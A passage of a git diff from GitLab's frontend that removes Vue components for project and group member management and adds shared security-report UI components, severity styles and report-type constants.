- accessRequest: 'accessRequest',
-};
-
-export const DAYS_TO_EXPIRE_SOON = 7;
-
-export const LEAVE_MODAL_ID = 'member-leave-modal';
-
-export const REMOVE_GROUP_LINK_MODAL_ID = 'remove-group-link-modal-id';
diff --git a/app/assets/javascripts/vue_shared/components/members/modals/leave_modal.vue b/app/assets/javascripts/vue_shared/components/members/modals/leave_modal.vue
deleted file mode 100644
index 9a2ce0d4931..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/modals/leave_modal.vue
+++ /dev/null
@@ -1,70 +0,0 @@
-<script>
-import { mapState } from 'vuex';
-import { GlModal, GlForm, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
-import csrf from '~/lib/utils/csrf';
-import { __, s__, sprintf } from '~/locale';
-import { LEAVE_MODAL_ID } from '../constants';
-
-export default {
- name: 'LeaveModal',
- actionCancel: {
- text: __('Cancel'),
- },
- actionPrimary: {
- text: __('Leave'),
- attributes: {
- variant: 'danger',
- },
- },
- csrf,
- modalId: LEAVE_MODAL_ID,
- modalContent: s__('Members|Are you sure you want to leave "%{source}"?'),
- components: { GlModal, GlForm, GlSprintf },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
- computed: {
- ...mapState(['memberPath']),
- leavePath() {
- return this.memberPath.replace(/:id$/, 'leave');
- },
- modalTitle() {
- return sprintf(s__('Members|Leave "%{source}"'), { source: this.member.source.name });
- },
- },
- methods: {
- handlePrimary() {
- this.$refs.form.$el.submit();
- },
- },
-};
-</script>
-
-<template>
- <gl-modal
- v-bind="$attrs"
- :modal-id="$options.modalId"
- :title="modalTitle"
- :action-primary="$options.actionPrimary"
- :action-cancel="$options.actionCancel"
- size="sm"
- @primary="handlePrimary"
- >
- <gl-form ref="form" :action="leavePath" method="post">
- <p>
- <gl-sprintf :message="$options.modalContent">
- <template #source>{{ member.source.name }}</template>
- </gl-sprintf>
- </p>
-
- <input type="hidden" name="_method" value="delete" />
- <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
- </gl-form>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/modals/remove_group_link_modal.vue b/app/assets/javascripts/vue_shared/components/members/modals/remove_group_link_modal.vue
deleted file mode 100644
index e8890717724..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/modals/remove_group_link_modal.vue
+++ /dev/null
@@ -1,69 +0,0 @@
-<script>
-import { mapState, mapActions } from 'vuex';
-import { GlModal, GlSprintf, GlForm } from '@gitlab/ui';
-import csrf from '~/lib/utils/csrf';
-import { __, s__, sprintf } from '~/locale';
-import { REMOVE_GROUP_LINK_MODAL_ID } from '../constants';
-
-export default {
- name: 'RemoveGroupLinkModal',
- actionCancel: {
- text: __('Cancel'),
- },
- actionPrimary: {
- text: s__('Members|Remove group'),
- attributes: {
- variant: 'danger',
- },
- },
- csrf,
- i18n: {
- modalBody: s__('Members|Are you sure you want to remove "%{groupName}"?'),
- },
- modalId: REMOVE_GROUP_LINK_MODAL_ID,
- components: { GlModal, GlSprintf, GlForm },
- computed: {
- ...mapState(['memberPath', 'groupLinkToRemove', 'removeGroupLinkModalVisible']),
- groupLinkPath() {
- return this.memberPath.replace(/:id$/, this.groupLinkToRemove?.id);
- },
- groupName() {
- return this.groupLinkToRemove?.sharedWithGroup.fullName;
- },
- modalTitle() {
- return sprintf(s__('Members|Remove "%{groupName}"'), { groupName: this.groupName });
- },
- },
- methods: {
- ...mapActions(['hideRemoveGroupLinkModal']),
- handlePrimary() {
- this.$refs.form.$el.submit();
- },
- },
-};
-</script>
-
-<template>
- <gl-modal
- v-bind="$attrs"
- :modal-id="$options.modalId"
- :visible="removeGroupLinkModalVisible"
- :title="modalTitle"
- :action-primary="$options.actionPrimary"
- :action-cancel="$options.actionCancel"
- size="sm"
- @primary="handlePrimary"
- @hide="hideRemoveGroupLinkModal"
- >
- <gl-form ref="form" :action="groupLinkPath" method="post">
- <p>
- <gl-sprintf :message="$options.i18n.modalBody">
- <template #groupName>{{ groupName }}</template>
- </gl-sprintf>
- </p>
-
- <input type="hidden" name="_method" value="delete" />
- <input :value="$options.csrf.token" type="hidden" name="authenticity_token" />
- </gl-form>
- </gl-modal>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/expires_at.vue b/app/assets/javascripts/vue_shared/components/members/table/expires_at.vue
deleted file mode 100644
index de65e3fb10f..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/table/expires_at.vue
+++ /dev/null
@@ -1,66 +0,0 @@
-<script>
-import { GlSprintf, GlTooltipDirective } from '@gitlab/ui';
-import {
- approximateDuration,
- differenceInSeconds,
- formatDate,
- getDayDifference,
-} from '~/lib/utils/datetime_utility';
-import { DAYS_TO_EXPIRE_SOON } from '../constants';
-
-export default {
- name: 'ExpiresAt',
- components: { GlSprintf },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- date: {
- type: String,
- required: false,
- default: null,
- },
- },
- computed: {
- noExpirationSet() {
- return this.date === null;
- },
- parsed() {
- return new Date(this.date);
- },
- differenceInSeconds() {
- return differenceInSeconds(new Date(), this.parsed);
- },
- isExpired() {
- return this.differenceInSeconds <= 0;
- },
- inWords() {
- return approximateDuration(this.differenceInSeconds);
- },
- formatted() {
- return formatDate(this.parsed);
- },
- expiresSoon() {
- return getDayDifference(new Date(), this.parsed) < DAYS_TO_EXPIRE_SOON;
- },
- cssClass() {
- return {
- 'gl-text-red-500': this.isExpired,
- 'gl-text-orange-500': this.expiresSoon,
- };
- },
- },
-};
-</script>
-
-<template>
- <span v-if="noExpirationSet">{{ s__('Members|No expiration set') }}</span>
- <span v-else v-gl-tooltip.hover :title="formatted" :class="cssClass">
- <template v-if="isExpired">{{ s__('Members|Expired') }}</template>
- <gl-sprintf v-else :message="s__('Members|in %{time}')">
- <template #time>
- {{ inWords }}
- </template>
- </gl-sprintf>
- </span>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/member_action_buttons.vue b/app/assets/javascripts/vue_shared/components/members/table/member_action_buttons.vue
deleted file mode 100644
index 320d8c99223..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/table/member_action_buttons.vue
+++ /dev/null
@@ -1,57 +0,0 @@
-<script>
-import UserActionButtons from '../action_buttons/user_action_buttons.vue';
-import GroupActionButtons from '../action_buttons/group_action_buttons.vue';
-import InviteActionButtons from '../action_buttons/invite_action_buttons.vue';
-import AccessRequestActionButtons from '../action_buttons/access_request_action_buttons.vue';
-import { MEMBER_TYPES } from '../constants';
-
-export default {
- name: 'MemberActionButtons',
- components: {
- UserActionButtons,
- GroupActionButtons,
- InviteActionButtons,
- AccessRequestActionButtons,
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- memberType: {
- type: String,
- required: true,
- },
- permissions: {
- type: Object,
- required: true,
- },
- isCurrentUser: {
- type: Boolean,
- required: true,
- },
- },
- computed: {
- actionButtonComponent() {
- const dictionary = {
- [MEMBER_TYPES.user]: 'user-action-buttons',
- [MEMBER_TYPES.group]: 'group-action-buttons',
- [MEMBER_TYPES.invite]: 'invite-action-buttons',
- [MEMBER_TYPES.accessRequest]: 'access-request-action-buttons',
- };
-
- return dictionary[this.memberType];
- },
- },
-};
-</script>
-
-<template>
- <component
- :is="actionButtonComponent"
- v-if="actionButtonComponent"
- :member="member"
- :permissions="permissions"
- :is-current-user="isCurrentUser"
- />
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/members_table.vue b/app/assets/javascripts/vue_shared/components/members/table/members_table.vue
deleted file mode 100644
index a4f67caff31..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/table/members_table.vue
+++ /dev/null
@@ -1,158 +0,0 @@
-<script>
-import { mapState } from 'vuex';
-import { GlTable, GlBadge } from '@gitlab/ui';
-import MembersTableCell from 'ee_else_ce/vue_shared/components/members/table/members_table_cell.vue';
-import {
- canOverride,
- canRemove,
- canResend,
- canUpdate,
-} from 'ee_else_ce/vue_shared/components/members/utils';
-import { FIELDS } from '../constants';
-import initUserPopovers from '~/user_popovers';
-import MemberAvatar from './member_avatar.vue';
-import MemberSource from './member_source.vue';
-import CreatedAt from './created_at.vue';
-import ExpiresAt from './expires_at.vue';
-import MemberActionButtons from './member_action_buttons.vue';
-import RoleDropdown from './role_dropdown.vue';
-import RemoveGroupLinkModal from '../modals/remove_group_link_modal.vue';
-import ExpirationDatepicker from './expiration_datepicker.vue';
-
-export default {
- name: 'MembersTable',
- components: {
- GlTable,
- GlBadge,
- MemberAvatar,
- CreatedAt,
- ExpiresAt,
- MembersTableCell,
- MemberSource,
- MemberActionButtons,
- RoleDropdown,
- RemoveGroupLinkModal,
- ExpirationDatepicker,
- LdapOverrideConfirmationModal: () =>
- import(
- 'ee_component/vue_shared/components/members/ldap/ldap_override_confirmation_modal.vue'
- ),
- },
- computed: {
- ...mapState(['members', 'tableFields', 'tableAttrs', 'currentUserId', 'sourceId']),
- filteredFields() {
- return FIELDS.filter(field => this.tableFields.includes(field.key) && this.showField(field));
- },
- userIsLoggedIn() {
- return this.currentUserId !== null;
- },
- },
- mounted() {
- initUserPopovers(this.$el.querySelectorAll('.js-user-link'));
- },
- methods: {
- showField(field) {
- if (!Object.prototype.hasOwnProperty.call(field, 'showFunction')) {
- return true;
- }
-
- return this[field.showFunction]();
- },
- showActionsField() {
- if (!this.userIsLoggedIn) {
- return false;
- }
-
- return this.members.some(member => {
- return (
- canRemove(member, this.sourceId) ||
- canResend(member) ||
- canUpdate(member, this.currentUserId, this.sourceId) ||
- canOverride(member)
- );
- });
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-table
- v-bind="tableAttrs.table"
- class="members-table"
- data-testid="members-table"
- head-variant="white"
- stacked="lg"
- :fields="filteredFields"
- :items="members"
- primary-key="id"
- thead-class="border-bottom"
- :empty-text="__('No members found')"
- show-empty
- :tbody-tr-attr="tableAttrs.tr"
- >
- <template #cell(account)="{ item: member }">
- <members-table-cell #default="{ memberType, isCurrentUser }" :member="member">
- <member-avatar
- :member-type="memberType"
- :is-current-user="isCurrentUser"
- :member="member"
- />
- </members-table-cell>
- </template>
-
- <template #cell(source)="{ item: member }">
- <members-table-cell #default="{ isDirectMember }" :member="member">
- <member-source :is-direct-member="isDirectMember" :member-source="member.source" />
- </members-table-cell>
- </template>
-
- <template #cell(granted)="{ item: { createdAt, createdBy } }">
- <created-at :date="createdAt" :created-by="createdBy" />
- </template>
-
- <template #cell(invited)="{ item: { createdAt, createdBy } }">
- <created-at :date="createdAt" :created-by="createdBy" />
- </template>
-
- <template #cell(requested)="{ item: { createdAt } }">
- <created-at :date="createdAt" />
- </template>
-
- <template #cell(expires)="{ item: { expiresAt } }">
- <expires-at :date="expiresAt" />
- </template>
-
- <template #cell(maxRole)="{ item: member }">
- <members-table-cell #default="{ permissions }" :member="member">
- <role-dropdown v-if="permissions.canUpdate" :permissions="permissions" :member="member" />
- <gl-badge v-else>{{ member.accessLevel.stringValue }}</gl-badge>
- </members-table-cell>
- </template>
-
- <template #cell(expiration)="{ item: member }">
- <members-table-cell #default="{ permissions }" :member="member">
- <expiration-datepicker :permissions="permissions" :member="member" />
- </members-table-cell>
- </template>
-
- <template #cell(actions)="{ item: member }">
- <members-table-cell #default="{ memberType, isCurrentUser, permissions }" :member="member">
- <member-action-buttons
- :member-type="memberType"
- :is-current-user="isCurrentUser"
- :permissions="permissions"
- :member="member"
- />
- </members-table-cell>
- </template>
-
- <template #head(actions)="{ label }">
- <span data-testid="col-actions" class="gl-sr-only">{{ label }}</span>
- </template>
- </gl-table>
- <remove-group-link-modal />
- <ldap-override-confirmation-modal />
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/members_table_cell.vue b/app/assets/javascripts/vue_shared/components/members/table/members_table_cell.vue
deleted file mode 100644
index 11e1aef9803..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/table/members_table_cell.vue
+++ /dev/null
@@ -1,65 +0,0 @@
-<script>
-import { mapState } from 'vuex';
-import { MEMBER_TYPES } from '../constants';
-import { isGroup, isDirectMember, isCurrentUser, canRemove, canResend, canUpdate } from '../utils';
-
-export default {
- name: 'MembersTableCell',
- props: {
- member: {
- type: Object,
- required: true,
- },
- },
- computed: {
- ...mapState(['sourceId', 'currentUserId']),
- isGroup() {
- return isGroup(this.member);
- },
- isInvite() {
- return Boolean(this.member.invite);
- },
- isAccessRequest() {
- return Boolean(this.member.requestedAt);
- },
- memberType() {
- if (this.isGroup) {
- return MEMBER_TYPES.group;
- } else if (this.isInvite) {
- return MEMBER_TYPES.invite;
- } else if (this.isAccessRequest) {
- return MEMBER_TYPES.accessRequest;
- }
-
- return MEMBER_TYPES.user;
- },
- isDirectMember() {
- return isDirectMember(this.member, this.sourceId);
- },
- isCurrentUser() {
- return isCurrentUser(this.member, this.currentUserId);
- },
- canRemove() {
- return canRemove(this.member, this.sourceId);
- },
- canResend() {
- return canResend(this.member);
- },
- canUpdate() {
- return canUpdate(this.member, this.currentUserId, this.sourceId);
- },
- },
- render() {
- return this.$scopedSlots.default({
- memberType: this.memberType,
- isDirectMember: this.isDirectMember,
- isCurrentUser: this.isCurrentUser,
- permissions: {
- canRemove: this.canRemove,
- canResend: this.canResend,
- canUpdate: this.canUpdate,
- },
- });
- },
-};
-</script>
diff --git a/app/assets/javascripts/vue_shared/components/members/table/role_dropdown.vue b/app/assets/javascripts/vue_shared/components/members/table/role_dropdown.vue
deleted file mode 100644
index 6f6cae6072d..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/table/role_dropdown.vue
+++ /dev/null
@@ -1,95 +0,0 @@
-<script>
-import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
-import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import { mapActions } from 'vuex';
-import { s__ } from '~/locale';
-
-export default {
- name: 'RoleDropdown',
- components: {
- GlDropdown,
- GlDropdownItem,
- LdapDropdownItem: () =>
- import('ee_component/vue_shared/components/members/ldap/ldap_dropdown_item.vue'),
- },
- props: {
- member: {
- type: Object,
- required: true,
- },
- permissions: {
- type: Object,
- required: true,
- },
- },
- data() {
- return {
- isDesktop: false,
- busy: false,
- };
- },
- computed: {
- disabled() {
- return this.busy || (this.permissions.canOverride && !this.member.isOverridden);
- },
- },
- mounted() {
- this.isDesktop = bp.isDesktop();
-
- // Bootstrap Vue and GlDropdown to not support adding attributes to the dropdown toggle
- // This can be changed once https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1060 is implemented
- const dropdownToggle = this.$refs.glDropdown.$el.querySelector('.dropdown-toggle');
-
- if (dropdownToggle) {
- dropdownToggle.setAttribute('data-qa-selector', 'access_level_dropdown');
- }
- },
- methods: {
- ...mapActions(['updateMemberRole']),
- handleSelect(value, name) {
- if (value === this.member.accessLevel.integerValue) {
- return;
- }
-
- this.busy = true;
-
- this.updateMemberRole({
- memberId: this.member.id,
- accessLevel: { integerValue: value, stringValue: name },
- })
- .then(() => {
- this.$toast.show(s__('Members|Role updated successfully.'));
- this.busy = false;
- })
- .catch(() => {
- this.busy = false;
- });
- },
- },
-};
-</script>
-
-<template>
- <gl-dropdown
- ref="glDropdown"
- :right="!isDesktop"
- :text="member.accessLevel.stringValue"
- :header-text="__('Change permissions')"
- :disabled="disabled"
- >
- <gl-dropdown-item
- v-for="(value, name) in member.validRoles"
- :key="value"
- is-check-item
- :is-checked="value === member.accessLevel.integerValue"
- data-qa-selector="access_level_link"
- @click="handleSelect(value, name)"
- >
- {{ name }}
- </gl-dropdown-item>
- <ldap-dropdown-item
- v-if="permissions.canOverride && member.isOverridden"
- :member-id="member.id"
- />
- </gl-dropdown>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/members/utils.js b/app/assets/javascripts/vue_shared/components/members/utils.js
deleted file mode 100644
index 4229a62c0a7..00000000000
--- a/app/assets/javascripts/vue_shared/components/members/utils.js
+++ /dev/null
@@ -1,48 +0,0 @@
-import { __ } from '~/locale';
-
-export const generateBadges = (member, isCurrentUser) => [
- {
- show: isCurrentUser,
- text: __("It's you"),
- variant: 'success',
- },
- {
- show: member.user?.blocked,
- text: __('Blocked'),
- variant: 'danger',
- },
- {
- show: member.user?.twoFactorEnabled,
- text: __('2FA'),
- variant: 'info',
- },
-];
-
-export const isGroup = member => {
- return Boolean(member.sharedWithGroup);
-};
-
-export const isDirectMember = (member, sourceId) => {
- return isGroup(member) || member.source?.id === sourceId;
-};
-
-export const isCurrentUser = (member, currentUserId) => {
- return member.user?.id === currentUserId;
-};
-
-export const canRemove = (member, sourceId) => {
- return isDirectMember(member, sourceId) && member.canRemove;
-};
-
-export const canResend = member => {
- return Boolean(member.invite?.canResend);
-};
-
-export const canUpdate = (member, currentUserId, sourceId) => {
- return (
- !isCurrentUser(member, currentUserId) && isDirectMember(member, sourceId) && member.canUpdate
- );
-};
-
-// Defined in `ee/app/assets/javascripts/vue_shared/components/members/utils.js`
-export const canOverride = () => false;
diff --git a/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue b/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
index c12012d8419..ad6f6e0e2e3 100644
--- a/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/noteable_warning.vue
@@ -88,7 +88,7 @@ export default {
};
</script>
<template>
- <div class="issuable-note-warning">
+ <div class="issuable-note-warning" data-testid="confidential-warning">
<gl-icon v-if="!isLockedAndConfidential" :name="warningIcon" :size="16" class="icon inline" />
<span v-if="isLockedAndConfidential" ref="lockedAndConfidential">
diff --git a/app/assets/javascripts/vue_shared/components/pikaday.vue b/app/assets/javascripts/vue_shared/components/pikaday.vue
index 8104d919bf6..85481f3f7b4 100644
--- a/app/assets/javascripts/vue_shared/components/pikaday.vue
+++ b/app/assets/javascripts/vue_shared/components/pikaday.vue
@@ -1,10 +1,14 @@
<script>
import Pikaday from 'pikaday';
+import { GlIcon } from '@gitlab/ui';
import { parsePikadayDate, pikadayToString } from '~/lib/utils/datetime_utility';
import { __ } from '~/locale';
export default {
name: 'DatePicker',
+ components: {
+ GlIcon,
+ },
props: {
label: {
type: String,
@@ -66,7 +70,7 @@ export default {
<div class="dropdown open">
<button type="button" class="dropdown-menu-toggle" data-toggle="dropdown" @click="toggled">
<span class="dropdown-toggle-text"> {{ label }} </span>
- <i class="fa fa-chevron-down" aria-hidden="true"> </i>
+ <gl-icon name="chevron-down" class="gl-absolute gl-right-3 gl-top-3 gl-text-gray-500" />
</button>
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue b/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue
index 9eacf74bba8..fe50a459e52 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue
+++ b/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue
@@ -105,6 +105,8 @@ export default {
registerHTMLToMarkdownRenderer(editorApi);
this.addListeners(editorApi);
+
+ this.$emit('load', { formattedMarkdown: editorApi.getMarkdown() });
},
onOpenAddImageModal() {
this.$refs.addImageModal.show();
diff --git a/app/assets/javascripts/vue_shared/components/select2_select.vue b/app/assets/javascripts/vue_shared/components/select2_select.vue
index c90bd4da6c2..3dbf0ccdfa9 100644
--- a/app/assets/javascripts/vue_shared/components/select2_select.vue
+++ b/app/assets/javascripts/vue_shared/components/select2_select.vue
@@ -1,6 +1,7 @@
<script>
import $ from 'jquery';
import 'select2';
+import { loadCSSFile } from '~/lib/utils/css_utils';
export default {
// False positive i18n lint: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/26
@@ -20,10 +21,14 @@ export default {
},
mounted() {
- $(this.$refs.dropdownInput)
- .val(this.value)
- .select2(this.options)
- .on('change', event => this.$emit('input', event.target.value));
+ loadCSSFile(gon.select2_css_path)
+ .then(() => {
+ $(this.$refs.dropdownInput)
+ .val(this.value)
+ .select2(this.options)
+ .on('change', event => this.$emit('input', event.target.value));
+ })
+ .catch(() => {});
},
beforeDestroy() {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
index 7b2802650a2..4f505b9e678 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue
@@ -16,7 +16,7 @@ export default {
type="button"
class="dropdown-title-button dropdown-menu-close gl-ml-auto"
>
- <gl-icon name="close" aria-hidden="true" class="dropdown-menu-close-icon" />
+ <gl-icon name="close" class="dropdown-menu-close-icon" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
index 2f71907f772..8ce624aa303 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
@@ -105,6 +105,11 @@ export default {
required: false,
default: __('Manage group labels'),
},
+ isEditing: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
@@ -131,6 +136,11 @@ export default {
showDropdownContents(showDropdownContents) {
this.setContentIsOnViewport(showDropdownContents);
},
+ isEditing(newVal) {
+ if (newVal) {
+ this.toggleDropdownContents();
+ }
+ },
},
mounted() {
this.setInitialState({
diff --git a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
index 579ad53e6db..b48dfa8b452 100644
--- a/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
+++ b/app/assets/javascripts/vue_shared/components/tooltip_on_truncate.vue
@@ -1,6 +1,7 @@
<script>
import { isFunction } from 'lodash';
import tooltip from '../directives/tooltip';
+import { hasHorizontalOverflow } from '~/lib/utils/dom_utils';
export default {
directives: {
@@ -49,7 +50,7 @@ export default {
},
updateTooltip() {
const target = this.selectTarget();
- this.showTooltip = Boolean(target && target.scrollWidth > target.offsetWidth);
+ this.showTooltip = hasHorizontalOverflow(target);
},
},
};
diff --git a/app/assets/javascripts/vue_shared/directives/popover.js b/app/assets/javascripts/vue_shared/directives/popover.js
deleted file mode 100644
index c913bc34c68..00000000000
--- a/app/assets/javascripts/vue_shared/directives/popover.js
+++ /dev/null
@@ -1,22 +0,0 @@
-import $ from 'jquery';
-
-/**
- * Helper to user bootstrap popover in vue.js.
- * Follow docs for html attributes: https://getbootstrap.com/docs/3.3/javascript/#static-popover
- *
- * @example
- * import popover from 'vue_shared/directives/popover.js';
- * {
- * directives: [popover]
- * }
- * <a v-popover="{options}">popover</a>
- */
-export default {
- bind(el, binding) {
- $(el).popover(binding.value);
- },
-
- unbind(el) {
- $(el).popover('dispose');
- },
-};
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/constants.js b/app/assets/javascripts/vue_shared/security_reports/components/constants.js
new file mode 100644
index 00000000000..9b1cbfe218b
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/components/constants.js
@@ -0,0 +1,8 @@
+export const SEVERITY_CLASS_NAME_MAP = {
+ critical: 'text-danger-800',
+ high: 'text-danger-600',
+ medium: 'text-warning-400',
+ low: 'text-warning-200',
+ info: 'text-primary-400',
+ unknown: 'text-secondary-400',
+};
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue b/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue
new file mode 100644
index 00000000000..3c606283c7d
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue
@@ -0,0 +1,58 @@
+<script>
+import { GlButton, GlIcon, GlLink, GlPopover } from '@gitlab/ui';
+import { s__ } from '~/locale';
+
+export default {
+ components: {
+ GlButton,
+ GlIcon,
+ GlLink,
+ GlPopover,
+ },
+ props: {
+ helpPath: {
+ type: String,
+ required: true,
+ },
+ discoverProjectSecurityPath: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+ i18n: {
+ securityReportsHelp: s__('SecurityReports|Security reports help page link'),
+ upgradeToManageVulnerabilities: s__('SecurityReports|Upgrade to manage vulnerabilities'),
+ upgradeToInteract: s__(
+ 'SecurityReports|Upgrade to interact, track and shift left with vulnerability management features in the UI.',
+ ),
+ },
+};
+</script>
+
+<template>
+ <span v-if="discoverProjectSecurityPath">
+ <gl-button
+ ref="discoverProjectSecurity"
+ icon="information-o"
+ category="tertiary"
+ :aria-label="$options.i18n.upgradeToManageVulnerabilities"
+ />
+
+ <gl-popover
+ :target="() => $refs.discoverProjectSecurity.$el"
+ :title="$options.i18n.upgradeToManageVulnerabilities"
+ placement="top"
+ triggers="click blur"
+ >
+ {{ $options.i18n.upgradeToInteract }}
+ <gl-link :href="discoverProjectSecurityPath" target="_blank" class="gl-font-sm">{{
+ __('Learn more')
+ }}</gl-link>
+ </gl-popover>
+ </span>
+
+ <gl-link v-else target="_blank" :href="helpPath" :aria-label="$options.i18n.securityReportsHelp">
+ <gl-icon name="question" />
+ </gl-link>
+</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
new file mode 100644
index 00000000000..d7c1e27ff3e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue
@@ -0,0 +1,48 @@
+<script>
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { s__, sprintf } from '~/locale';
+
+export default {
+ name: 'SecurityReportDownloadDropdown',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ props: {
+ artifacts: {
+ type: Array,
+ required: true,
+ },
+ loading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ methods: {
+ artifactText({ name }) {
+ return sprintf(s__('SecurityReports|Download %{artifactName}'), {
+ artifactName: name,
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-dropdown
+ :text="s__('SecurityReports|Download results')"
+ :loading="loading"
+ icon="download"
+ right
+ >
+ <gl-dropdown-item
+ v-for="artifact in artifacts"
+ :key="artifact.path"
+ :href="artifact.path"
+ download
+ >
+ {{ artifactText(artifact) }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/components/security_summary.vue b/app/assets/javascripts/vue_shared/security_reports/components/security_summary.vue
new file mode 100644
index 00000000000..babb9fddcf6
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/security_reports/components/security_summary.vue
@@ -0,0 +1,59 @@
+<script>
+import { GlSprintf } from '@gitlab/ui';
+import { SEVERITY_CLASS_NAME_MAP } from './constants';
+
+export default {
+ components: {
+ GlSprintf,
+ },
+ props: {
+ message: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ shouldShowCountMessage() {
+ return !this.message.status && Boolean(this.message.countMessage);
+ },
+ },
+ methods: {
+ getSeverityClass(severity) {
+ return SEVERITY_CLASS_NAME_MAP[severity];
+ },
+ },
+ slotNames: ['critical', 'high', 'other'],
+ spacingClasses: {
+ critical: 'gl-pl-4',
+ high: 'gl-px-2',
+ other: 'gl-px-2',
+ },
+};
+</script>
+
+<template>
+ <span>
+ <gl-sprintf :message="message.message">
+ <template #total="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ </gl-sprintf>
+ <span v-if="shouldShowCountMessage" class="gl-font-sm">
+ <gl-sprintf :message="message.countMessage">
+ <template v-for="slotName in $options.slotNames" #[slotName]="{content}">
+ <span :key="slotName">
+ <strong
+ v-if="message[slotName] > 0"
+ :class="[getSeverityClass(slotName), $options.spacingClasses[slotName]]"
+ >
+ {{ content }}
+ </strong>
+ <span v-else :class="$options.spacingClasses[slotName]">
+ {{ content }}
+ </span>
+ </span>
+ </template>
+ </gl-sprintf>
+ </span>
+ </span>
+</template>
diff --git a/app/assets/javascripts/vue_shared/security_reports/constants.js b/app/assets/javascripts/vue_shared/security_reports/constants.js
index 2f87c4e7878..68241a8c5be 100644
--- a/app/assets/javascripts/vue_shared/security_reports/constants.js
+++ b/app/assets/javascripts/vue_shared/security_reports/constants.js
@@ -1,3 +1,32 @@
+import { invert } from 'lodash';
+
export const FEEDBACK_TYPE_DISMISSAL = 'dismissal';
export const FEEDBACK_TYPE_ISSUE = 'issue';
export const FEEDBACK_TYPE_MERGE_REQUEST = 'merge_request';
+
+/**
+ * Security scan report types, as provided by the backend.
+ */
+export const REPORT_TYPE_SAST = 'sast';
+export const REPORT_TYPE_SECRET_DETECTION = 'secret_detection';
+
+/**
+ * SecurityReportTypeEnum values for use with GraphQL.
+ *
+ * These should correspond to the lowercase security scan report types.
+ */
+export const SECURITY_REPORT_TYPE_ENUM_SAST = 'SAST';
+export const SECURITY_REPORT_TYPE_ENUM_SECRET_DETECTION = 'SECRET_DETECTION';
+
+/**
+ * A mapping from security scan report types to SecurityReportTypeEnum values.
+ */
+export const reportTypeToSecurityReportTypeEnum = {
+ [REPORT_TYPE_SAST]: SECURITY_REPORT_TYPE_ENUM_SAST,
+ [REPORT_TYPE_SECRET_DETECTION]: SECURITY_REPORT_TYPE_ENUM_SECRET_DETECTION,
+};
+
+/**
+ * A mapping from SecurityReportTypeEnum values to security scan report types.
+ */
+export const securityReportTypeEnumToReportType = invert(reportTypeToSecurityReportTypeEnum);
diff --git a/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql b/app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql
new file mode 100644
index 00000000000..310d8d88904
--- /dev/null
